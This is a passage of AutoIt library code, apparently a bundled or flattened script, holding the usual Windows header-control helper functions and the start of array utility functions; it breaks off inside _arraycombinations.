  3269.             Return SetError(1, 1, False)
  3270.         EndIf
  3271.     Else
  3272.         $destroyed = GUICtrlDelete($hwnd)
  3273.     EndIf
  3274.     If $destroyed Then $hwnd = 0
  3275.     Return $destroyed <> 0
  3276. EndFunc
  3277.  
  3278. Func _guictrlheader_editfilter($hwnd, $iindex, $fdiscard = True)
  3279.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3280.     Return _sendmessage($hwnd, $hdm_editfilter, $iindex, $fdiscard) <> 0
  3281. EndFunc
  3282.  
  3283. Func _guictrlheader_getbitmapmargin($hwnd)
  3284.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3285.     Return _sendmessage($hwnd, $hdm_getbitmapmargin)
  3286. EndFunc
  3287.  
  3288. Func _guictrlheader_getimagelist($hwnd)
  3289.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3290.     Return Ptr(_sendmessage($hwnd, $hdm_getimagelist))
  3291. EndFunc
  3292.  
  3293. Func _guictrlheader_getitem($hwnd, $iindex, ByRef $titem)
  3294.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3295.     Local $funicode = _guictrlheader_getunicodeformat($hwnd)
  3296.     Local $iret
  3297.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3298.         $iret = _sendmessage($hwnd, $hdm_getitemw, $iindex, $titem, 0, "wparam", "struct*")
  3299.     Else
  3300.         Local $iitem = DllStructGetSize($titem)
  3301.         Local $tmemmap
  3302.         Local $pmemory = _meminit($hwnd, $iitem, $tmemmap)
  3303.         _memwrite($tmemmap, $titem)
  3304.         If $funicode Then
  3305.             $iret = _sendmessage($hwnd, $hdm_getitemw, $iindex, $pmemory, 0, "wparam", "ptr")
  3306.         Else
  3307.             $iret = _sendmessage($hwnd, $hdm_getitema, $iindex, $pmemory, 0, "wparam", "ptr")
  3308.         EndIf
  3309.         _memread($tmemmap, $pmemory, $titem, $iitem)
  3310.         _memfree($tmemmap)
  3311.     EndIf
  3312.     Return $iret <> 0
  3313. EndFunc
  3314.  
  3315. Func _guictrlheader_getitemalign($hwnd, $iindex)
  3316.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3317.     Switch BitAND(_guictrlheader_getitemformat($hwnd, $iindex), $hdf_justifymask)
  3318.         Case $hdf_left
  3319.             Return 0
  3320.         Case $hdf_right
  3321.             Return 1
  3322.         Case $hdf_center
  3323.             Return 2
  3324.         Case Else
  3325.             Return  - 1
  3326.     EndSwitch
  3327. EndFunc
  3328.  
  3329. Func _guictrlheader_getitembitmap($hwnd, $iindex)
  3330.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3331.     Local $titem = DllStructCreate($taghditem)
  3332.     DllStructSetData($titem, "Mask", $hdi_bitmap)
  3333.     _guictrlheader_getitem($hwnd, $iindex, $titem)
  3334.     Return DllStructGetData($titem, "hBmp")
  3335. EndFunc
  3336.  
  3337. Func _guictrlheader_getitemcount($hwnd)
  3338.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3339.     Return _sendmessage($hwnd, $hdm_getitemcount)
  3340. EndFunc
  3341.  
  3342. Func _guictrlheader_getitemdisplay($hwnd, $iindex)
  3343.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3344.     Local $iret = 0
  3345.     Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
  3346.     If BitAND($iformat, $hdf_bitmap) <> 0 Then $iret = BitOR($iret, 1)
  3347.     If BitAND($iformat, $hdf_bitmap_on_right) <> 0 Then $iret = BitOR($iret, 2)
  3348.     If BitAND($iformat, $hdf_ownerdraw) <> 0 Then $iret = BitOR($iret, 4)
  3349.     If BitAND($iformat, $hdf_string) <> 0 Then $iret = BitOR($iret, 8)
  3350.     Return $iret
  3351. EndFunc
  3352.  
  3353. Func _guictrlheader_getitemflags($hwnd, $iindex)
  3354.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3355.     Local $iret = 0
  3356.     Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
  3357.     If BitAND($iformat, $hdf_image) <> 0 Then $iret = BitOR($iret, 1)
  3358.     If BitAND($iformat, $hdf_rtlreading) <> 0 Then $iret = BitOR($iret, 2)
  3359.     If BitAND($iformat, $hdf_sortdown) <> 0 Then $iret = BitOR($iret, 4)
  3360.     If BitAND($iformat, $hdf_sortup) <> 0 Then $iret = BitOR($iret, 8)
  3361.     Return $iret
  3362. EndFunc
  3363.  
  3364. Func _guictrlheader_getitemformat($hwnd, $iindex)
  3365.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3366.     Local $titem = DllStructCreate($taghditem)
  3367.     DllStructSetData($titem, "Mask", $hdi_format)
  3368.     _guictrlheader_getitem($hwnd, $iindex, $titem)
  3369.     Return DllStructGetData($titem, "Fmt")
  3370. EndFunc
  3371.  
  3372. Func _guictrlheader_getitemimage($hwnd, $iindex)
  3373.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3374.     Local $titem = DllStructCreate($taghditem)
  3375.     DllStructSetData($titem, "Mask", $hdi_image)
  3376.     _guictrlheader_getitem($hwnd, $iindex, $titem)
  3377.     Return DllStructGetData($titem, "Image")
  3378. EndFunc
  3379.  
  3380. Func _guictrlheader_getitemorder($hwnd, $iindex)
  3381.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3382.     Local $titem = DllStructCreate($taghditem)
  3383.     DllStructSetData($titem, "Mask", $hdi_order)
  3384.     _guictrlheader_getitem($hwnd, $iindex, $titem)
  3385.     Return DllStructGetData($titem, "Order")
  3386. EndFunc
  3387.  
  3388. Func _guictrlheader_getitemparam($hwnd, $iindex)
  3389.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3390.     Local $titem = DllStructCreate($taghditem)
  3391.     DllStructSetData($titem, "Mask", $hdi_param)
  3392.     _guictrlheader_getitem($hwnd, $iindex, $titem)
  3393.     Return DllStructGetData($titem, "Param")
  3394. EndFunc
  3395.  
  3396. Func _guictrlheader_getitemrect($hwnd, $iindex)
  3397.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3398.     Local $arect[4]
  3399.     Local $trect = _guictrlheader_getitemrectex($hwnd, $iindex)
  3400.     $arect[0] = DllStructGetData($trect, "Left")
  3401.     $arect[1] = DllStructGetData($trect, "Top")
  3402.     $arect[2] = DllStructGetData($trect, "Right")
  3403.     $arect[3] = DllStructGetData($trect, "Bottom")
  3404.     Return $arect
  3405. EndFunc
  3406.  
  3407. Func _guictrlheader_getitemrectex($hwnd, $iindex)
  3408.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3409.     Local $trect = DllStructCreate($tagrect)
  3410.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3411.         _sendmessage($hwnd, $hdm_getitemrect, $iindex, $trect, 0, "wparam", "struct*")
  3412.     Else
  3413.         Local $irect = DllStructGetSize($trect)
  3414.         Local $tmemmap
  3415.         Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
  3416.         _memwrite($tmemmap, $trect)
  3417.         _sendmessage($hwnd, $hdm_getitemrect, $iindex, $pmemory, 0, "wparam", "ptr")
  3418.         _memread($tmemmap, $pmemory, $trect, $irect)
  3419.         _memfree($tmemmap)
  3420.     EndIf
  3421.     Return $trect
  3422. EndFunc
  3423.  
  3424. Func _guictrlheader_getitemtext($hwnd, $iindex)
  3425.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3426.     Local $funicode = _guictrlheader_getunicodeformat($hwnd)
  3427.     Local $tbuffer
  3428.     If $funicode Then
  3429.         $tbuffer = DllStructCreate("wchar Text[4096]")
  3430.     Else
  3431.         $tbuffer = DllStructCreate("char Text[4096]")
  3432.     EndIf
  3433.     Local $titem = DllStructCreate($taghditem)
  3434.     DllStructSetData($titem, "Mask", $hdi_text)
  3435.     DllStructSetData($titem, "TextMax", 4096)
  3436.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3437.         DllStructSetData($titem, "Text", DllStructGetPtr($tbuffer))
  3438.         _sendmessage($hwnd, $hdm_getitemw, $iindex, $titem, 0, "wparam", "struct*")
  3439.     Else
  3440.         Local $iitem = DllStructGetSize($titem)
  3441.         Local $tmemmap
  3442.         Local $pmemory = _meminit($hwnd, $iitem + DllStructGetSize($tbuffer), $tmemmap)
  3443.         Local $ptext = $pmemory + $iitem
  3444.         DllStructSetData($titem, "Text", $ptext)
  3445.         _memwrite($tmemmap, $titem, $pmemory, $iitem)
  3446.         If $funicode Then
  3447.             _sendmessage($hwnd, $hdm_getitemw, $iindex, $pmemory, 0, "wparam", "ptr")
  3448.         Else
  3449.             _sendmessage($hwnd, $hdm_getitema, $iindex, $pmemory, 0, "wparam", "ptr")
  3450.         EndIf
  3451.         _memread($tmemmap, $ptext, $tbuffer, DllStructGetSize($tbuffer))
  3452.         _memfree($tmemmap)
  3453.     EndIf
  3454.     Return DllStructGetData($tbuffer, "Text")
  3455. EndFunc
  3456.  
  3457. Func _guictrlheader_getitemwidth($hwnd, $iindex)
  3458.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3459.     Local $titem = DllStructCreate($taghditem)
  3460.     DllStructSetData($titem, "Mask", $hdi_width)
  3461.     _guictrlheader_getitem($hwnd, $iindex, $titem)
  3462.     Return DllStructGetData($titem, "XY")
  3463. EndFunc
  3464.  
  3465. Func _guictrlheader_getorderarray($hwnd)
  3466.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3467.     Local $iitems = _guictrlheader_getitemcount($hwnd)
  3468.     Local $tbuffer = DllStructCreate("int[" & $iitems & "]")
  3469.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3470.         _sendmessage($hwnd, $hdm_getorderarray, $iitems, $tbuffer, 0, "wparam", "struct*")
  3471.     Else
  3472.         Local $ibuffer = DllStructGetSize($tbuffer)
  3473.         Local $tmemmap
  3474.         Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
  3475.         _sendmessage($hwnd, $hdm_getorderarray, $iitems, $pmemory, 0, "wparam", "ptr")
  3476.         _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
  3477.         _memfree($tmemmap)
  3478.     EndIf
  3479.     Local $abuffer[$iitems + 1]
  3480.     $abuffer[0] = $iitems
  3481.     For $ii = 1 To $iitems
  3482.         $abuffer[$ii] = DllStructGetData($tbuffer, 1, $ii)
  3483.     Next
  3484.     Return $abuffer
  3485. EndFunc
  3486.  
  3487. Func _guictrlheader_getunicodeformat($hwnd)
  3488.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3489.     Return _sendmessage($hwnd, $hdm_getunicodeformat) <> 0
  3490. EndFunc
  3491.  
  3492. Func _guictrlheader_hittest($hwnd, $ix, $iy)
  3493.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3494.     Local $ttest = DllStructCreate($taghdhittestinfo)
  3495.     DllStructSetData($ttest, "X", $ix)
  3496.     DllStructSetData($ttest, "Y", $iy)
  3497.     Local $atest[11]
  3498.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3499.         $atest[0] = _sendmessage($hwnd, $hdm_hittest, 0, $ttest, 0, "wparam", "struct*")
  3500.     Else
  3501.         Local $itest = DllStructGetSize($ttest)
  3502.         Local $tmemmap
  3503.         Local $pmemory = _meminit($hwnd, $itest, $tmemmap)
  3504.         _memwrite($tmemmap, $ttest)
  3505.         $atest[0] = _sendmessage($hwnd, $hdm_hittest, 0, $pmemory, 0, "wparam", "ptr")
  3506.         _memread($tmemmap, $pmemory, $ttest, $itest)
  3507.         _memfree($tmemmap)
  3508.     EndIf
  3509.     Local $iflags = DllStructGetData($ttest, "Flags")
  3510.     $atest[1] = BitAND($iflags, $hht_nowhere) <> 0
  3511.     $atest[2] = BitAND($iflags, $hht_onheader) <> 0
  3512.     $atest[3] = BitAND($iflags, $hht_ondivider) <> 0
  3513.     $atest[4] = BitAND($iflags, $hht_ondivopen) <> 0
  3514.     $atest[5] = BitAND($iflags, $hht_onfilter) <> 0
  3515.     $atest[6] = BitAND($iflags, $hht_onfilterbutton) <> 0
  3516.     $atest[7] = BitAND($iflags, $hht_above) <> 0
  3517.     $atest[8] = BitAND($iflags, $hht_below) <> 0
  3518.     $atest[9] = BitAND($iflags, $hht_toright) <> 0
  3519.     $atest[10] = BitAND($iflags, $hht_toleft) <> 0
  3520.     Return $atest
  3521. EndFunc
  3522.  
  3523. Func _guictrlheader_insertitem($hwnd, $iindex, $stext, $iwidth = 50, $ialign = 0, $iimage = -1, $fonright = False)
  3524.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3525.     Local $aalign[3] = [$hdf_left, $hdf_right, $hdf_center]
  3526.     Local $funicode = _guictrlheader_getunicodeformat($hwnd)
  3527.     Local $pbuffer, $ibuffer
  3528.     If $stext <> -1 Then
  3529.         $ibuffer = StringLen($stext) + 1
  3530.         Local $tbuffer
  3531.         If $funicode Then
  3532.             $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  3533.             $ibuffer *= 2
  3534.         Else
  3535.             $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  3536.         EndIf
  3537.         DllStructSetData($tbuffer, "Text", $stext)
  3538.         $pbuffer = DllStructGetPtr($tbuffer)
  3539.     Else
  3540.         $ibuffer = 0
  3541.         $pbuffer = -1
  3542.     EndIf
  3543.     Local $titem = DllStructCreate($taghditem)
  3544.     Local $ifmt = $aalign[$ialign]
  3545.     Local $imask = BitOR($hdi_width, $hdi_format)
  3546.     If $stext <> "" Then
  3547.         $imask = BitOR($imask, $hdi_text)
  3548.         $ifmt = BitOR($ifmt, $hdf_string)
  3549.     EndIf
  3550.     If $iimage <> -1 Then
  3551.         $imask = BitOR($imask, $hdi_image)
  3552.         $ifmt = BitOR($ifmt, $hdf_image)
  3553.     EndIf
  3554.     If $fonright Then $ifmt = BitOR($ifmt, $hdf_bitmap_on_right)
  3555.     DllStructSetData($titem, "Mask", $imask)
  3556.     DllStructSetData($titem, "XY", $iwidth)
  3557.     DllStructSetData($titem, "Fmt", $ifmt)
  3558.     DllStructSetData($titem, "Image", $iimage)
  3559.     Local $iret
  3560.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3561.         DllStructSetData($titem, "Text", $pbuffer)
  3562.         $iret = _sendmessage($hwnd, $hdm_insertitemw, $iindex, $titem, 0, "wparam", "struct*")
  3563.     Else
  3564.         Local $iitem = DllStructGetSize($titem)
  3565.         Local $tmemmap
  3566.         Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
  3567.         If $stext <> -1 Then
  3568.             Local $ptext = $pmemory + $iitem
  3569.             DllStructSetData($titem, "Text", $ptext)
  3570.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  3571.         Else
  3572.             DllStructSetData($titem, "Text", -1)
  3573.         EndIf
  3574.         _memwrite($tmemmap, $titem, $pmemory, $iitem)
  3575.         If $funicode Then
  3576.             $iret = _sendmessage($hwnd, $hdm_insertitemw, $iindex, $pmemory, 0, "wparam", "ptr")
  3577.         Else
  3578.             $iret = _sendmessage($hwnd, $hdm_insertitema, $iindex, $pmemory, 0, "wparam", "ptr")
  3579.         EndIf
  3580.         _memfree($tmemmap)
  3581.     EndIf
  3582.     Return $iret
  3583. EndFunc
  3584.  
  3585. Func _guictrlheader_layout($hwnd, ByRef $trect)
  3586.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3587.     Local $tlayout = DllStructCreate($taghdlayout)
  3588.     Local $twindowpos = DllStructCreate($tagwindowpos)
  3589.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3590.         DllStructSetData($tlayout, "Rect", DllStructGetPtr($trect))
  3591.         DllStructSetData($tlayout, "WindowPos", DllStructGetPtr($twindowpos))
  3592.         _sendmessage($hwnd, $hdm_layout, 0, $tlayout, 0, "wparam", "struct*")
  3593.     Else
  3594.         Local $ilayout = DllStructGetSize($tlayout)
  3595.         Local $irect = DllStructGetSize($trect)
  3596.         Local $iwindowpos = DllStructGetSize($twindowpos)
  3597.         Local $tmemmap
  3598.         Local $pmemory = _meminit($hwnd, $ilayout + $irect + $iwindowpos, $tmemmap)
  3599.         DllStructSetData($tlayout, "Rect", $pmemory + $ilayout)
  3600.         DllStructSetData($tlayout, "WindowPos", $pmemory + $ilayout + $irect)
  3601.         _memwrite($tmemmap, $tlayout, $pmemory, $ilayout)
  3602.         _memwrite($tmemmap, $trect, $pmemory + $ilayout, $irect)
  3603.         _sendmessage($hwnd, $hdm_layout, 0, $pmemory, 0, "wparam", "ptr")
  3604.         _memread($tmemmap, $pmemory + $ilayout + $irect, $twindowpos, $iwindowpos)
  3605.         _memfree($tmemmap)
  3606.     EndIf
  3607.     Return $twindowpos
  3608. EndFunc
  3609.  
  3610. Func _guictrlheader_ordertoindex($hwnd, $iorder)
  3611.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3612.     Return _sendmessage($hwnd, $hdm_ordertoindex, $iorder)
  3613. EndFunc
  3614.  
  3615. Func _guictrlheader_setbitmapmargin($hwnd, $iwidth)
  3616.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3617.     Return _sendmessage($hwnd, $hdm_setbitmapmargin, $iwidth)
  3618. EndFunc
  3619.  
  3620. Func _guictrlheader_setfilterchangetimeout($hwnd, $itimeout)
  3621.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3622.     Return _sendmessage($hwnd, $hdm_setfilterchangetimeout, 0, $itimeout)
  3623. EndFunc
  3624.  
  3625. Func _guictrlheader_sethotdivider($hwnd, $iflag, $iinputvalue)
  3626.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3627.     Return _sendmessage($hwnd, $hdm_sethotdivider, $iflag, $iinputvalue)
  3628. EndFunc
  3629.  
  3630. Func _guictrlheader_setimagelist($hwnd, $himage)
  3631.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3632.     Return _sendmessage($hwnd, $hdm_setimagelist, 0, $himage, 0, "wparam", "handle", "handle")
  3633. EndFunc
  3634.  
  3635. Func _guictrlheader_setitem($hwnd, $iindex, ByRef $titem)
  3636.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3637.     Local $funicode = _guictrlheader_getunicodeformat($hwnd)
  3638.     Local $iret
  3639.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3640.         $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $titem, 0, "wparam", "struct*")
  3641.     Else
  3642.         Local $iitem = DllStructGetSize($titem)
  3643.         Local $tmemmap
  3644.         Local $pmemory = _meminit($hwnd, $iitem, $tmemmap)
  3645.         _memwrite($tmemmap, $titem)
  3646.         If $funicode Then
  3647.             $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $pmemory, 0, "wparam", "ptr")
  3648.         Else
  3649.             $iret = _sendmessage($hwnd, $hdm_setitema, $iindex, $pmemory, 0, "wparam", "ptr")
  3650.         EndIf
  3651.         _memfree($tmemmap)
  3652.     EndIf
  3653.     Return $iret <> 0
  3654. EndFunc
  3655.  
  3656. Func _guictrlheader_setitemalign($hwnd, $iindex, $ialign)
  3657.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3658.     Local $aalign[3] = [$hdf_left, $hdf_right, $hdf_center]
  3659.     Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
  3660.     $iformat = BitAND($iformat, BitNOT($hdf_justifymask))
  3661.     $iformat = BitOR($iformat, $aalign[$ialign])
  3662.     Return _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
  3663. EndFunc
  3664.  
  3665. Func _guictrlheader_setitembitmap($hwnd, $iindex, $hbmp)
  3666.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3667.     Local $titem = DllStructCreate($taghditem)
  3668.     DllStructSetData($titem, "Mask", BitOR($hdi_format, $hdi_bitmap))
  3669.     DllStructSetData($titem, "Fmt", $hdf_bitmap)
  3670.     DllStructSetData($titem, "hBMP", $hbmp)
  3671.     Return _guictrlheader_setitem($hwnd, $iindex, $titem)
  3672. EndFunc
  3673.  
  3674. Func _guictrlheader_setitemdisplay($hwnd, $iindex, $idisplay)
  3675.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3676.     Local $iformat = BitAND(_guictrlheader_getitemformat($hwnd, $iindex), NOT $hdf_displaymask)
  3677.     If BitAND($idisplay, 1) <> 0 Then $iformat = BitOR($iformat, $hdf_bitmap)
  3678.     If BitAND($idisplay, 2) <> 0 Then $iformat = BitOR($iformat, $hdf_bitmap_on_right)
  3679.     If BitAND($idisplay, 4) <> 0 Then $iformat = BitOR($iformat, $hdf_ownerdraw)
  3680.     If BitAND($idisplay, 8) <> 0 Then $iformat = BitOR($iformat, $hdf_string)
  3681.     Return _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
  3682. EndFunc
  3683.  
  3684. Func _guictrlheader_setitemflags($hwnd, $iindex, $iflags)
  3685.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3686.     Local $iformat = _guictrlheader_getitemformat($hwnd, $iindex)
  3687.     $iformat = BitAND($iformat, BitNOT($hdf_flagmask))
  3688.     If BitAND($iflags, 1) <> 0 Then $iformat = BitOR($iformat, $hdf_image)
  3689.     If BitAND($iflags, 2) <> 0 Then $iformat = BitOR($iformat, $hdf_rtlreading)
  3690.     If BitAND($iflags, 4) <> 0 Then $iformat = BitOR($iformat, $hdf_sortdown)
  3691.     If BitAND($iflags, 8) <> 0 Then $iformat = BitOR($iformat, $hdf_sortup)
  3692.     Return _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
  3693. EndFunc
  3694.  
  3695. Func _guictrlheader_setitemformat($hwnd, $iindex, $iformat)
  3696.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3697.     Local $titem = DllStructCreate($taghditem)
  3698.     DllStructSetData($titem, "Mask", $hdi_format)
  3699.     DllStructSetData($titem, "Fmt", $iformat)
  3700.     Return _guictrlheader_setitem($hwnd, $iindex, $titem)
  3701. EndFunc
  3702.  
  3703. Func _guictrlheader_setitemimage($hwnd, $iindex, $iimage)
  3704.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3705.     Local $titem = DllStructCreate($taghditem)
  3706.     DllStructSetData($titem, "Mask", $hdi_image)
  3707.     DllStructSetData($titem, "Image", $iimage)
  3708.     Return _guictrlheader_setitem($hwnd, $iindex, $titem)
  3709. EndFunc
  3710.  
  3711. Func _guictrlheader_setitemorder($hwnd, $iindex, $iorder)
  3712.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3713.     Local $titem = DllStructCreate($taghditem)
  3714.     DllStructSetData($titem, "Mask", $hdi_order)
  3715.     DllStructSetData($titem, "Order", $iorder)
  3716.     Return _guictrlheader_setitem($hwnd, $iindex, $titem)
  3717. EndFunc
  3718.  
  3719. Func _guictrlheader_setitemparam($hwnd, $iindex, $iparam)
  3720.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3721.     Local $titem = DllStructCreate($taghditem)
  3722.     DllStructSetData($titem, "Mask", $hdi_param)
  3723.     DllStructSetData($titem, "Param", $iparam)
  3724.     Return _guictrlheader_setitem($hwnd, $iindex, $titem)
  3725. EndFunc
  3726.  
  3727. Func _guictrlheader_setitemtext($hwnd, $iindex, $stext)
  3728.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3729.     Local $funicode = _guictrlheader_getunicodeformat($hwnd)
  3730.     Local $ibuffer, $pbuffer
  3731.     If $stext <> -1 Then
  3732.         $ibuffer = StringLen($stext) + 1
  3733.         Local $tbuffer
  3734.         If $funicode Then
  3735.             $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  3736.             $ibuffer *= 2
  3737.         Else
  3738.             $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  3739.         EndIf
  3740.         DllStructSetData($tbuffer, "Text", $stext)
  3741.         $pbuffer = DllStructGetPtr($tbuffer)
  3742.     Else
  3743.         $ibuffer = 0
  3744.         $pbuffer = -1
  3745.     EndIf
  3746.     Local $titem = DllStructCreate($taghditem)
  3747.     DllStructSetData($titem, "Mask", $hdi_text)
  3748.     DllStructSetData($titem, "TextMax", $ibuffer)
  3749.     Local $iret
  3750.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3751.         DllStructSetData($titem, "Text", $pbuffer)
  3752.         $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $titem, 0, "wparam", "struct*")
  3753.     Else
  3754.         Local $iitem = DllStructGetSize($titem)
  3755.         Local $tmemmap
  3756.         Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
  3757.         If $stext <> -1 Then
  3758.             Local $ptext = $pmemory + $iitem
  3759.             DllStructSetData($titem, "Text", $ptext)
  3760.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  3761.         Else
  3762.             DllStructSetData($titem, "Text", -1)
  3763.         EndIf
  3764.         _memwrite($tmemmap, $titem, $pmemory, $iitem)
  3765.         If $funicode Then
  3766.             $iret = _sendmessage($hwnd, $hdm_setitemw, $iindex, $pmemory, 0, "wparam", "ptr")
  3767.         Else
  3768.             $iret = _sendmessage($hwnd, $hdm_setitema, $iindex, $pmemory, 0, "wparam", "ptr")
  3769.         EndIf
  3770.         _memfree($tmemmap)
  3771.     EndIf
  3772.     Return $iret <> 0
  3773. EndFunc
  3774.  
  3775. Func _guictrlheader_setitemwidth($hwnd, $iindex, $iwidth)
  3776.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3777.     Local $titem = DllStructCreate($taghditem)
  3778.     DllStructSetData($titem, "Mask", $hdi_width)
  3779.     DllStructSetData($titem, "XY", $iwidth)
  3780.     Return _guictrlheader_setitem($hwnd, $iindex, $titem)
  3781. EndFunc
  3782.  
  3783. Func _guictrlheader_setorderarray($hwnd, ByRef $aorder)
  3784.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3785.     Local $tbuffer = DllStructCreate("int[" & $aorder[0] & "]")
  3786.     For $ii = 1 To $aorder[0]
  3787.         DllStructSetData($tbuffer, 1, $aorder[$ii], $ii)
  3788.     Next
  3789.     Local $iret
  3790.     If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3791.         $iret = _sendmessage($hwnd, $hdm_setorderarray, $aorder[0], $tbuffer, 0, "wparam", "struct*")
  3792.     Else
  3793.         Local $ibuffer = DllStructGetSize($tbuffer)
  3794.         Local $tmemmap
  3795.         Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
  3796.         _memwrite($tmemmap, $tbuffer)
  3797.         $iret = _sendmessage($hwnd, $hdm_setorderarray, $aorder[0], $pmemory, 0, "wparam", "ptr")
  3798.         _memfree($tmemmap)
  3799.     EndIf
  3800.     Return $iret <> 0
  3801. EndFunc
  3802.  
  3803. Func _guictrlheader_setunicodeformat($hwnd, $funicode)
  3804.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3805.     Return _sendmessage($hwnd, $hdm_setunicodeformat, $funicode)
  3806. EndFunc
  3807.  
  3808. Func _arrayadd(ByRef $avarray, $vvalue)
  3809.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  3810.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, -1)
  3811.     Local $iubound = UBound($avarray)
  3812.     ReDim $avarray[$iubound + 1]
  3813.     $avarray[$iubound] = $vvalue
  3814.     Return $iubound
  3815. EndFunc
  3816.  
  3817. Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0)
  3818.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  3819.     If UBound($avarray, 0) <> 1 Then Return SetError(5, 0, -1)
  3820.     Local $iubound = UBound($avarray) - 1
  3821.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3822.     If $istart < 0 Then $istart = 0
  3823.     If $istart > $iend Then Return SetError(4, 0, -1)
  3824.     Local $imid = Int(($iend + $istart) / 2)
  3825.     If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1)
  3826.     While $istart <= $imid AND $vvalue <> $avarray[$imid]
  3827.         If $vvalue < $avarray[$imid] Then
  3828.             $iend = $imid - 1
  3829.         Else
  3830.             $istart = $imid + 1
  3831.         EndIf
  3832.         $imid = Int(($iend + $istart) / 2)
  3833.     WEnd
  3834.     If $istart > $iend Then Return SetError(3, 0, -1)
  3835.     Return $imid
  3836. EndFunc
  3837.  
  3838. Func _arraycombinations(ByRef $avarray, $iset, $sdelim = "")
  3839.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3840.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  3841.     Local $in = UBound($avarray)
  3842.     Local $ir = $iset
  3843.     Local $aidx[$ir]
  3844.     For $i = 0 To $ir - 1
  3845.         $aidx[$i] = $i
  3846.     Next
  3847.     Local $itotal = __array_combinations($in, $ir)
  3848.     Local $ileft = $itotal
  3849.     Local $aresult[$itotal + 1]
  3850.     $aresult[0] = $itotal
  3851.     Local $icount = 1
  3852.     While $ileft > 0
